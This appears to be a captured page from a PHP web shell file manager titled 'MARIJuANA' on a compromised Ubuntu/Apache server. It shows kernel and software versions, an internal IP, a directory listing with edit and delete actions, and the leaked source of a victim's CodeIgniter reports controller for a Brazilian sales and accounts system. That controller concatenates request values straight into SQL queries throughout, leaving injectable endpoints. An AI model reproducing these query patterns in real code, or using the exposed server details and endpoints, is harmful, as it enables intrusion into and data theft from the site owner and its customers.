MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/pocoes/transparencia/application/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
cache dir drwxrwxr-x 2019-03-27 19:54 R D
config dir drwxrwxr-x 2019-10-08 16:51 R D
controllers dir drwxrwxr-x 2023-02-16 09:49 R D
core dir drwxrwxr-x 2019-03-27 19:54 R D
errors dir drwxrwxr-x 2019-03-27 19:54 R D
helpers dir drwxrwxr-x 2019-03-27 19:54 R D
hooks dir drwxrwxr-x 2019-03-27 19:54 R D
language dir drwxrwxr-x 2019-03-27 19:54 R D
libraries dir drwxrwxr-x 2018-10-22 04:58 R D
logs dir drwxrwxr-x 2024-06-06 20:03 R D
models dir drwxrwxr-x 2023-02-16 09:57 R D
plugins dir drwxrwxr-x 2018-10-22 05:03 R D
third_party dir drwxrwxr-x 2019-03-27 19:54 R D
views dir drwxrwxr-x 2020-05-19 13:21 R D
.DS_Store 10.004 KB -rw-rw-r-- 2019-05-15 14:48 R E G D
Reports.php 44.146 KB -rw-rw-r-- 2019-04-05 09:28 R E G D
access.log 1.04 MB -rw-rw-r-- 2019-03-27 19:54 R E G D
index.html 0.129 KB -rw-rw-r-- 2019-03-27 19:54 R E G D
REQUEST EXIT
cod_fornecedor)){ $this->db->where('cod_fornecedor', $objData->cod_fornecedor); } if( isset($objData->datain) && !isset($objData->dataout)){ $data = str_replace("/", "-", $objData->datain); $objData->datain = date('Y-m-d', strtotime($data)); $this->db->where('data_vencimento >=', $objData->datain); } if( isset($objData->dataout) && !isset($objData->datain)){ $data = str_replace("/", "-", $objData->dataout); $objData->dataout = date('Y-m-d', strtotime($data)); $this->db->where('data_vencimento <=', $objData->dataout); } if( isset($objData->datain) && isset($objData->dataout)){ $data = str_replace("/", "-", $objData->datain); $objData->datain = date('Y-m-d', strtotime($data)); $data = str_replace("/", "-", $objData->dataout); $objData->dataout = date('Y-m-d', strtotime($data)); $this->db->where('data_vencimento <=', $objData->dataout); $this->db->where('data_vencimento >=', $objData->datain); $this->db->where('data_vencimento <=', $objData->dataout); } if(isset($objData->tipo)){ if($objData->tipo==1){ $this->db->select('cp.*, fcd.*, emp.nome as nomeempresa'); $this->db->from('contas_pagar cp, fornecedor fcd, empresa emp'); $this->db->where('cp.cod_fornecedor = fcd.id_fornecedor'); if( isset($objData->status)){ if($objData->status==1){ $this->db->where('cp.status = 1'); } if($objData->status==0){ $this->db->where('cp.status = 0'); } } $this->db->where('emp.id_empresa = cp.cod_empresa'); if( isset($objData->cod_empresa)){ $this->db->where('cp.cod_empresa', $objData->cod_empresa); } // $this->db->order_by("data_vencimento", "ASC"); $this->db->order_by("cp.cod_fornecedor ", "ASC"); $this->db->order_by("fcd.nome ", "ASC"); $query = $this->db->get()->result(); } if($objData->tipo==2){ $query = $this->db->get('contas_receber')->result(); } } echo json_encode($query); } public function byData() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $datain = date('Y-m-d',strtotime($objData->datain)); $dataout = date('Y-m-d',strtotime($objData->dataout)); //$query = $this->db->query("SELECT sum(p.valor) as total, p.entrega, p.tp_pag, p.id_pedido, p.data,p.valor, u.nome, e.nome as nomemepresa FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND (p.data BETWEEN '2018-09-01' AND '2018-09-29')")->result(); $query = $this->db->query("SELECT p.entrega, p.tp_pag, p.id_pedido, p.data,p.valor, u.nome, e.nome as nomemepresa FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND (p.data BETWEEN '".$datain."' AND '".$dataout."')")->result(); $dados = $this->db->query("SELECT sum(p.valor) as total, sum(p.entrega) as totalentrega, count(*) as totalreg FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND (p.data BETWEEN '".$datain."' AND '".$dataout."')")->result(); $topitens = $this->db->query("SELECT COUNT(*) as totalreg, prod.nome, prod.image FROM pedido p, pedido_itens pi, produto prod where prod.id_produto = pi.cod_produto AND p.id_pedido = pi.cod_pedido AND (p.data BETWEEN '".$datain."' AND '".$dataout."') GROUP BY pi.cod_produto order by totalreg DESC LIMIT 5")->result(); $obj['dados'] = $query; $obj['total'] = $dados; $obj['top'] = $topitens; echo json_encode($obj); } public function byAtual() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $query = $this->db->query("SELECT p.entrega, p.tp_pag, p.id_pedido, p.data,p.valor, u.nome, e.nome as nomemepresa FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND p.data >= DATE_SUB( DATE( NOW() ), INTERVAL DAY( NOW() ) -1 DAY ) ORDER BY p.data DESC")->result(); $dados = $this->db->query("SELECT sum(p.valor) as total, sum(p.entrega) as totalentrega, count(*) as totalreg FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND p.data >= DATE_SUB( DATE( NOW() ), INTERVAL DAY( NOW() ) -1 DAY ) ORDER BY p.data DESC")->result(); $topitens = $this->db->query("SELECT COUNT(*) as totalreg, prod.nome, prod.image FROM pedido p, pedido_itens pi, produto prod where prod.id_produto = pi.cod_produto AND p.id_pedido = pi.cod_pedido AND p.data >= DATE_SUB( DATE( NOW() ), INTERVAL DAY( NOW() ) -1 DAY ) GROUP BY pi.cod_produto order by totalreg DESC LIMIT 5")->result(); $obj['dados'] = $query; $obj['total'] = $dados; $obj['top'] = $topitens; echo json_encode($obj); } // reports por empresa public function byDataEmp() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $datain = date('Y-m-d',strtotime($objData->datain)); $dataout = date('Y-m-d',strtotime($objData->dataout)); $empresa =$objData->empresa; //$query = $this->db->query("SELECT sum(p.valor) as total, p.entrega, p.tp_pag, p.id_pedido, p.data,p.valor, u.nome, e.nome as nomemepresa FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND (p.data BETWEEN '2018-09-01' AND '2018-09-29')")->result(); $query = $this->db->query("SELECT fp.*, p.entrega, p.tp_pag, p.id_pedido, p.data,p.valor, u.nome, e.nome as nomemepresa FROM forma_pagamento fp, pedido p, usuario u, empresa e WHERE p.tp_pag = fp.id_forma_pagamento AND p.status= 4 AND e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND (p.data BETWEEN '".$datain."' AND '".$dataout."') AND e.id_empresa = ".$empresa)->result(); $dados = $this->db->query("SELECT sum(p.valor) as total, (SELECT sum(p.valor) FROM pedido p, forma_pagamento fp WHERE (p.data BETWEEN '".$datain."' AND '".$dataout."') AND p.tp_pag = fp.id_forma_pagamento and fp.tipo = 3 and p.cod_empresa = ".$empresa.") as cartao_credito,(SELECT sum(p.valor) FROM pedido p, forma_pagamento fp WHERE (p.data BETWEEN '".$datain."' AND '".$dataout."') AND p.tp_pag = fp.id_forma_pagamento and fp.tipo = 2 and p.cod_empresa = ".$empresa.") as cartao_debito, ( SELECT sum(p.valor) FROM pedido p WHERE (p.data BETWEEN '".$datain."' AND '".$dataout."') AND p.cod_empresa = ".$empresa." AND p.tp_pag = 1 ) as dinheiro, sum(p.entrega) as totalentrega, count(*) as totalreg FROM pedido p, usuario u, empresa e WHERE p.status= 4 AND e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND (p.data BETWEEN '".$datain."' AND '".$dataout."') AND e.id_empresa = ".$empresa)->result(); $topitens = $this->db->query("SELECT COUNT(*) as totalreg, prod.nome, prod.image FROM pedido p, pedido_itens pi, produto prod where p.status= 4 AND prod.id_produto = pi.cod_produto AND p.id_pedido = pi.cod_pedido AND (p.data BETWEEN '".$datain."' AND '".$dataout."') AND p.cod_empresa = ".$empresa." GROUP BY pi.cod_produto order by totalreg DESC LIMIT 5")->result(); $obj['dados'] = $query; $obj['total'] = $dados; $obj['top'] = $topitens; echo json_encode($obj); } public function byAtualByEmp() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $empresa =$objData; $query = $this->db->query("SELECT fp.*, p.entrega, p.tp_pag, p.id_pedido, p.data,p.valor, u.nome, e.nome as nomemepresa FROM pedido p, usuario u, empresa e, forma_pagamento fp WHERE p.tp_pag = fp.id_forma_pagamento AND p.status=4 AND e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND p.data >= DATE_SUB( DATE( NOW() ), INTERVAL DAY( NOW() ) -1 DAY ) AND e.id_empresa = ".$empresa." ORDER BY p.data DESC")->result(); $dados = $this->db->query("SELECT sum(p.valor) as total, (SELECT sum(p.valor) FROM pedido p, forma_pagamento fp WHERE p.status = 4 AND p.tp_pag = fp.id_forma_pagamento and fp.tipo = 3 and p.cod_empresa = ".$empresa.") as cartao_credito, (SELECT sum(p.valor) FROM pedido p, forma_pagamento fp WHERE p.status = 4 AND p.tp_pag = fp.id_forma_pagamento and fp.tipo = 2 and p.cod_empresa = ".$empresa.") as cartao_debito, ( SELECT sum(p.valor) FROM pedido p WHERE p.status = 4 AND p.cod_empresa = ".$empresa." AND p.tp_pag = 1 ) as dinheiro, sum(p.entrega) as totalentrega, count(*) as totalreg FROM pedido p, usuario u, empresa e WHERE p.status=4 AND e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND p.data >= DATE_SUB( DATE( NOW() ), INTERVAL DAY( NOW() ) -1 DAY ) AND e.id_empresa = ".$empresa." ORDER BY p.data DESC")->result(); $topitens = $this->db->query("SELECT COUNT(*) as totalreg, prod.nome, prod.image FROM pedido p, pedido_itens pi, produto prod where p.status=4 AND prod.id_produto = pi.cod_produto AND p.id_pedido = pi.cod_pedido AND p.data >= DATE_SUB( DATE( NOW() ), INTERVAL DAY( NOW() ) -1 DAY ) AND p.cod_empresa = ".$empresa." GROUP BY pi.cod_produto order by totalreg DESC LIMIT 5")->result(); $obj['dados'] = $query; $obj['total'] = $dados; $obj['top'] = $topitens; echo json_encode($obj); } public function totalvendas() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $empresa =$objData; $query = $this->db->query("SELECT count(*) total FROM pedido p WHERE p.cod_empresa = ".$empresa." and p.status = 4")->result(); echo json_encode($query); } public function graficosReport() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $empresa =$objData; $query['vendas'] = $this->db->query("SELECT MONTH(pedido.data) mes, sum(pedido.valor) totalvenda FROM `pedido` WHERE pedido.cod_empresa =".$empresa." and pedido.data BETWEEN ADDDATE(LAST_DAY(SUBDATE(CURDATE(), INTERVAL 7 MONTH)), 1) AND LAST_DAY(DATE_SUB(curdate(), INTERVAL 0 month)) group by MONTH(pedido.data) ")->result(); $query['despesas'] = $this->db->query("SELECT MONTH(contas_pagar.data) mes, sum(contas_pagar.valor) total FROM `contas_pagar` WHERE contas_pagar.status=1 AND contas_pagar.cod_empresa = ".$empresa." and contas_pagar.data BETWEEN ADDDATE(LAST_DAY(SUBDATE(CURDATE(), INTERVAL 7 MONTH)), 1) AND LAST_DAY(DATE_SUB(curdate(), INTERVAL 0 month)) group by MONTH(contas_pagar.data) ")->result(); $query['despesaspagas'] = $this->db->query("SELECT MONTH(contas_pagar.data) mes, sum(contas_pagar.valor) total FROM `contas_pagar` WHERE contas_pagar.status=2 AND contas_pagar.cod_empresa = ".$empresa." and contas_pagar.data BETWEEN ADDDATE(LAST_DAY(SUBDATE(CURDATE(), INTERVAL 7 MONTH)), 1) AND LAST_DAY(DATE_SUB(curdate(), INTERVAL 0 month)) group by MONTH(contas_pagar.data) ")->result(); echo json_encode($query); } public function byDatapdv() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $datain = date('Y-m-d',strtotime($objData->datain)); $dataout = date('Y-m-d',strtotime($objData->dataout)); //$query = $this->db->query("SELECT sum(p.valor) as total, p.entrega, p.tp_pag, p.id_pedido, p.data,p.valor, u.nome, e.nome as nomemepresa FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND (p.data BETWEEN '2018-09-01' AND '2018-09-29')")->result(); $query = $this->db->query("SELECT p.entrega, p.tp_pag, p.id_pedido, p.data,p.valor, u.nome, e.nome as nomemepresa FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario and p.tipo_venda_pdv = 0 and p.origem = 2 AND (p.data BETWEEN '".$datain."' AND '".$dataout."')")->result(); $dados = $this->db->query("SELECT sum(p.valor) as total, sum(p.entrega) as totalentrega, count(*) as totalreg FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario and p.tipo_venda_pdv = 0 and p.origem = 2 AND (p.data BETWEEN '".$datain."' AND '".$dataout."')")->result(); $topitens = $this->db->query("SELECT COUNT(*) as totalreg, prod.nome, prod.image FROM pedido p, pedido_itens pi, produto prod where prod.id_produto = pi.cod_produto AND p.id_pedido = pi.cod_pedido and p.tipo_venda_pdv = 0 and p.origem = 2 AND (p.data BETWEEN '".$datain."' AND '".$dataout."') GROUP BY pi.cod_produto order by totalreg DESC LIMIT 5")->result(); $obj['dados'] = $query; $obj['total'] = $dados; $obj['top'] = $topitens; echo json_encode($obj); } public function byAtualpdv() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $query = $this->db->query("SELECT p.entrega, p.tp_pag, p.id_pedido, p.data,p.valor, u.nome, e.nome as nomemepresa FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa and p.tipo_venda_pdv = 0 and p.origem = 2 AND u.id = p.cod_usuario AND p.data >= DATE_SUB( DATE( NOW() ), INTERVAL DAY( NOW() ) -1 DAY ) ORDER BY p.data DESC")->result(); $dados = $this->db->query("SELECT sum(p.valor) as total, sum(p.entrega) as totalentrega, count(*) as totalreg FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa and p.tipo_venda_pdv = 0 and p.origem = 2 AND u.id = p.cod_usuario AND p.data >= DATE_SUB( DATE( NOW() ), INTERVAL DAY( NOW() ) -1 DAY ) ORDER BY p.data DESC")->result(); $topitens = $this->db->query("SELECT COUNT(*) as totalreg, prod.nome, prod.image FROM pedido p, pedido_itens pi, produto prod where prod.id_produto = pi.cod_produto and p.tipo_venda_pdv = 0 and p.origem = 2 AND p.id_pedido = pi.cod_pedido AND p.data >= DATE_SUB( DATE( NOW() ), INTERVAL DAY( NOW() ) -1 DAY ) GROUP BY pi.cod_produto order by totalreg DESC LIMIT 5")->result(); $obj['dados'] = $query; $obj['total'] = $dados; $obj['top'] = $topitens; echo json_encode($obj); } // reports por empresa public function byDataEmppdv() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $datain = date('Y-m-d',strtotime($objData->datain)); $dataout = date('Y-m-d',strtotime($objData->dataout)); $empresa =$objData->empresa; //$query = $this->db->query("SELECT sum(p.valor) as total, p.entrega, p.tp_pag, p.id_pedido, p.data,p.valor, u.nome, e.nome as nomemepresa FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND (p.data BETWEEN '2018-09-01' AND '2018-09-29')")->result(); $query = $this->db->query("SELECT fp.*, p.entrega, p.tp_pag, p.id_pedido, p.data,p.valor, u.nome, e.nome as nomemepresa FROM forma_pagamento fp, pedido p, usuario u, empresa e WHERE p.tp_pag = fp.id_forma_pagamento AND e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND (p.data BETWEEN '".$datain."' AND '".$dataout."') AND e.id_empresa = ".$empresa .' and p.tipo_venda_pdv = 0 and p.origem = 2')->result(); $dados = $this->db->query("SELECT sum(p.valor) as total, (SELECT sum(p.valor) FROM pedido p, forma_pagamento fp WHERE (p.data BETWEEN '".$datain."' AND '".$dataout."') AND p.tp_pag = fp.id_forma_pagamento and fp.tipo = 3 and p.tipo_venda_pdv = 0 and p.origem = 2 and p.cod_empresa = ".$empresa.") as cartao_credito,(SELECT sum(p.valor) FROM pedido p, forma_pagamento fp WHERE (p.data BETWEEN '".$datain."' AND '".$dataout."') AND p.tp_pag = fp.id_forma_pagamento and fp.tipo = 2 and p.tipo_venda_pdv = 0 and p.origem = 2 and p.cod_empresa = ".$empresa.") as cartao_debito, ( SELECT sum(p.valor) FROM pedido p WHERE (p.data BETWEEN '".$datain."' AND '".$dataout."') AND p.cod_empresa = ".$empresa." AND p.tipo_venda_pdv = 0 and p.origem = 2 and p.tp_pag = 1 ) as dinheiro, sum(p.entrega) as totalentrega, count(*) as totalreg FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND (p.data BETWEEN '".$datain."' AND '".$dataout."') AND e.id_empresa = ".$empresa)->result(); $topitens = $this->db->query("SELECT COUNT(*) as totalreg, prod.nome, prod.image FROM pedido p, pedido_itens pi, produto prod where prod.id_produto = pi.cod_produto AND p.id_pedido = pi.cod_pedido AND (p.data BETWEEN '".$datain."' AND '".$dataout."') AND p.cod_empresa = ".$empresa." and p.tipo_venda_pdv = 0 and p.origem = 2 GROUP BY pi.cod_produto order by totalreg DESC LIMIT 5")->result(); $obj['dados'] = $query; $obj['total'] = $dados; $obj['top'] = $topitens; echo json_encode($obj); } public function byAtualByEmppdv() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $empresa =$objData; $query = $this->db->query("SELECT fp.*, p.entrega, p.tp_pag, p.id_pedido, p.data,p.valor, u.nome, e.nome as nomemepresa FROM pedido p, usuario u, empresa e, forma_pagamento fp WHERE p.tp_pag = fp.id_forma_pagamento AND e.id_empresa = p.cod_empresa and p.tipo_venda_pdv = 0 and p.origem = 2 AND u.id = p.cod_usuario AND p.data >= DATE_SUB( DATE( NOW() ), INTERVAL DAY( NOW() ) -1 DAY ) AND e.id_empresa = ".$empresa." ORDER BY p.data DESC")->result(); $dados = $this->db->query("SELECT sum(p.valor) as total, (SELECT sum(p.valor) FROM pedido p, forma_pagamento fp WHERE p.tp_pag = fp.id_forma_pagamento and fp.tipo = 3 and p.cod_empresa = ".$empresa.") as cartao_credito, (SELECT sum(p.valor) FROM pedido p, forma_pagamento fp WHERE p.tipo_venda_pdv = 0 and p.origem = 2 AND p.tp_pag = fp.id_forma_pagamento and fp.tipo = 2 and p.cod_empresa = ".$empresa.") as cartao_debito, ( SELECT sum(p.valor) FROM pedido p WHERE p.cod_empresa = ".$empresa." AND p.tp_pag = 1 ) as dinheiro, sum(p.entrega) as totalentrega, count(*) as totalreg FROM pedido p, usuario u, empresa e WHERE e.id_empresa = p.cod_empresa AND u.id = p.cod_usuario AND p.data >= DATE_SUB( DATE( NOW() ), INTERVAL DAY( NOW() ) -1 DAY ) AND e.id_empresa = ".$empresa." ORDER BY p.data DESC")->result(); $topitens = $this->db->query("SELECT COUNT(*) as totalreg, prod.nome, prod.image FROM pedido p, pedido_itens pi, produto prod where prod.id_produto = pi.cod_produto AND p.id_pedido = pi.cod_pedido AND p.data >= DATE_SUB( DATE( NOW() ), INTERVAL DAY( NOW() ) -1 DAY ) and p.tipo_venda_pdv = 0 and p.origem = 2 AND p.cod_empresa = ".$empresa." GROUP BY pi.cod_produto order by totalreg DESC LIMIT 5")->result(); $obj['dados'] = $query; $obj['total'] = $dados; $obj['top'] = $topitens; echo json_encode($obj); } public function totalvendaspdv() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $empresa =$objData; $query = $this->db->query("SELECT count(*) total FROM pedido p WHERE p.cod_empresa = ".$empresa." and p.origem=2 and p.tipo_venda_pdv = 0")->result(); echo json_encode($query); } public function relatoriopdv() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $empresa =$objData->cod_empresa; $query['somatoria'] = $this->db->query("SELECT sum(total_dinheiro) as dinheiro, sum(total_cartao_credito) as credito, sum(total_cartao_debito) as debito, sum(total_boleto) as boleto, sum(total_saque) as saque, sum(total_deposito) as deposito FROM caixa WHERE status = 2")->result(); echo json_encode($query); } public function relatoriopdv_pesquisa() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $datain = date('Y-m-d',strtotime($objData->datain)); $dataout = date('Y-m-d',strtotime($objData->dataout)); $empresa =$objData->empresa; $query['somatoria'] = $this->db->query("SELECT sum(total_dinheiro) as dinheiro, sum(total_cartao_credito) as credito, sum(total_cartao_debito) as debito, sum(total_boleto) as boleto, sum(total_saque) as saque, sum(total_deposito) as deposito FROM caixa WHERE (data_fechamento BETWEEN '".$datain."' AND '".$dataout."') and status = 2 and cod_empresa = ".$empresa)->result(); echo json_encode($query); } public function getPacientes() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $this->db->where('permissao',5); if(isset($objData->cod_empresa)){ if($objData->cod_empresa>0){ $this->db->where('cod_empresa', $objData->cod_empresa); } } if(isset($objData->turno)){ if($objData->turno>0){ $this->db->where('turno', $objData->turno); } } $this->db->order_by("nome ", "ASC"); $query = $this->db->get('usuario')->result(); echo json_encode( $query); } public function getcontasPagar_relatorio() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); $data = file_get_contents("php://input"); $objData = json_decode($data); $query['contas'] = $this->db->query("SELECT * from contas_pagar join empresa on contas_pagar.cod_empresa = empresa.id_empresa where contas_pagar.status = 1")->result(); echo json_encode($query); } public function Painel_getfornecedores() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept"); $data = file_get_contents("php://input"); $objData = json_decode($data); $dados['fornecedores'] = $this->db->query('select fornecedor.*, empresa.nome as nome_empresa from fornecedor join empresa on empresa.id_empresa = fornecedor.cod_empresa')->result(); if(isset($objData->cod_empresa)){ if( $objData->permissao<2){ $dados['fornecedores'] = $this->db->query('select fornecedor.*, empresa.nome as nome_empresa from fornecedor join empresa on empresa.id_empresa = fornecedor.cod_empresa')->result(); } if($objData->permissao>=2){ $dados['fornecedores'] = $this->db->query('select fornecedor.*, empresa.nome as nome_empresa from fornecedor join empresa on empresa.id_empresa = fornecedor.cod_empresa where cod_empresa = '.$objData->cod_empresa)->result(); } } $i=0; foreach($dados['fornecedores'] as $row){ $dados['fornecedores'][$i]->telefones = $this->db->query('select * from telefone_fornecedor where cod_fornecedor ='.$row->id_fornecedor)->result(); $i++; } echo json_encode($dados); } public function imprimirFornecedor($id = null) { $mpdf = new \Mpdf\Mpdf(['mode' => 'utf-8', 'format' => 'A4-L']); $decoded = base64_decode($id); $ar = json_decode($decoded, true); if(isset($ar['cod_empresa'])){ if( $ar['permissao']==2){ $this->db->where('cod_empresa',$ar['cod_empresa']); } if($ar['permissao']<2){ $this->db->where('cod_empresa',$ar['cod_empresa']); } } $query = $this->db->get('fornecedor')->result(); $dados['fornecedores'] = $query; $i=0; foreach($dados['fornecedores'] as $row){ $dados['fornecedores'][$i]->telefones = $this->db->query('select * from telefone_fornecedor where cod_fornecedor ='.$row->id_fornecedor)->result(); $i++; } print_r($ar); // $this->load->view("pedidos/imprimirFornecedores", $dados); $html = $this->load->view("pedidos/imprimirFornecedores", $dados, true); $mpdf->SetHeader('Mantido por WitsDigital - Relatório gerado em {DATE j/m/Y}'); $mpdf->SetFooter('{PAGENO}'); $mpdf->writeHTML($html); $mpdf->Output(); } public function getprodutos() { header("Access-Control-Allow-Origin: *"); header('Content-Type: text/html; charset=utf-8'); header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept"); $data = file_get_contents("php://input")